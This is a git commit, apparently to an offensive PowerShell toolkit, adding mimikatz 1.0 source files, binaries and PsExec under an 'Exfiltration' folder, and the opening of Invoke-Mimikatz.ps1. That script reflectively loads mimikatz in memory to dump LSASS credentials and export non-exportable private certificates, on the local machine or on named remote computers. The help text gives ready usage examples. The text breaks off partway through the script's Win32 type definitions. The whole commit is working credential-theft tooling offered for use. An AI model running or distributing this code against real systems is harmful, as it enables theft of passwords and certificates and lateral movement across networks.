Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS_FileRecord.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/targetver.h create mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/kappfree.lib create mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/kelloworld.lib create mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/klock.lib create mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.exe create mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/mimikatz.lib create mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll create mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp create mode 100644 Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib create mode 100644 Exfiltration/mimikatz-1.0/commun/globdefs.h create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_32.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/regedit_kiwi.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_32.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_48.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/icons/taskmgr_kiwi.ico create mode 100644 Exfiltration/mimikatz-1.0/commun/kmodel.cpp create mode 100644 Exfiltration/mimikatz-1.0/commun/kmodel.h create mode 100644 Exfiltration/mimikatz-1.0/commun/secpkg.h create mode 100644 Exfiltration/mimikatz-1.0/driver/MAKEFILE create mode 100644 Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer create mode 100644 Exfiltration/mimikatz-1.0/driver/SOURCES create mode 100644 Exfiltration/mimikatz-1.0/driver/fsfilters.c create mode 100644 Exfiltration/mimikatz-1.0/driver/fsfilters.h create mode 100644 Exfiltration/mimikatz-1.0/driver/k_types.h create mode 100644 Exfiltration/mimikatz-1.0/driver/mimikatz.c create mode 100644 Exfiltration/mimikatz-1.0/driver/mimikatz.h create mode 100644 Exfiltration/mimikatz-1.0/driver/minifilters.c create mode 100644 Exfiltration/mimikatz-1.0/driver/minifilters.h create mode 100644 Exfiltration/mimikatz-1.0/driver/mod_memory.c create mode 100644 Exfiltration/mimikatz-1.0/driver/mod_memory.h create mode 100644 Exfiltration/mimikatz-1.0/driver/modules.c create mode 100644 Exfiltration/mimikatz-1.0/driver/modules.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_image.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_image.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_object.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_object.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_process.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_process.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_reg.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_reg.h create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_thread.c create mode 100644 Exfiltration/mimikatz-1.0/driver/notify_thread.h create mode 100644 Exfiltration/mimikatz-1.0/driver/processes.c create mode 100644 Exfiltration/mimikatz-1.0/driver/processes.h create mode 100644 Exfiltration/mimikatz-1.0/driver/ssdt.c create mode 100644 Exfiltration/mimikatz-1.0/driver/ssdt.h create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.c create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.h create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.rc create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.rc create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/lisezmoi.txt create mode 100644 Exfiltration/mimikatz-1.0/mimikatz.sln create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/global.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/global.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/main.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_crypto.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptong.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hash.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hash.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hive.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hive.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_inject.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_inject.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_memory.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_memory.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_minidump.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ntddk.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_parseur.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_patch.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_patch.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_pipe.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_privilege.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_process.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_process.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_secacl.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_service.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_service.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_system.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_system.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_text.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_text.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_thread.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_thread.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ts.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ts.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_windows.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_windows.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h create mode 100644 Exfiltration/mimikatz-1.0/tools/PsExec.exe create mode 100644 Exfiltration/mimikatz-1.0/tools/tee.exe create mode 100644 Exfiltration/mimikatz-1.0/tools/winmine.exe diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index ef3daecb..382b2e39 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', - 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md' + 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', + 'Invoke-NinjaCopy.ps1' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 new file mode 100644 index 00000000..2e206a66 --- /dev/null +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -0,0 +1,2713 @@ +function Invoke-Mimikatz +{ +<# +.SYNOPSIS + +This script leverages Mimikatz 1.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as +dump credentials without ever writing the mimikatz binary to disk. +The script has a ComputerName parameter which allows it to be executed against multiple computers. + +This script should be able to dump credentials from any version of Windows through Windows 8 (but not 8.1) that has PowerShell v2 or higher installed. + +Function: Invoke-Mimikatz +Author: Joe Bialek, Twitter: @JosephBialek +Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi +License: http://creativecommons.org/licenses/by/3.0/fr/ +Required Dependencies: Mimikatz (included) +Optional Dependencies: None +Version: 1.0 +ReflectivePEInjection version: 1.0 +Mimikatz version: 1.0 + +.DESCRIPTION + +Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any +functionality provided with Mimikatz. + +.PARAMETER DumpCreds + +Switch: Use mimikatz to dump credentials out of LSASS. Not currently compatible with Windows 8.1. + +.PARAMETER DumpCerts + +Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable). + +.PARAMETER Command + +Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +.EXAMPLE + +Execute mimikatz on the local computer to dump certificates. +Invoke-Mimikatz -DumpCerts + +.EXAMPLE + +Execute mimikatz on two remote computers to dump credentials. +Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") + +.EXAMPLE + +Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits +Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" + +.NOTES +This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY +Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +Find mimikatz at: http://blog.gentilkiwi.com + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Benjamin DELPY blog: http://blog.gentilkiwi.com + +Github repo: https://github.com/clymb3r/PowerShell + +Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + +#> + +[CmdletBinding(DefaultParameterSetName="DumpCreds")] +Param( + [Parameter(Position = 0)] + [String[]] + $ComputerName, + + [Parameter(ParameterSetName = "DumpCreds", Position = 1)] + [Switch] + $DumpCreds, + + [Parameter(ParameterSetName = "DumpCerts", Position = 1)] + [Switch] + $DumpCerts, + + [Parameter(ParameterSetName = "CustomCommand", Position = 1)] + [String] + $Command +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 2, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 3, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 4, Mandatory = $false)] + [String] + $ProcName, + + [Parameter(Position = 5, Mandatory = $false)] + [String] + $ExeArgs + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + 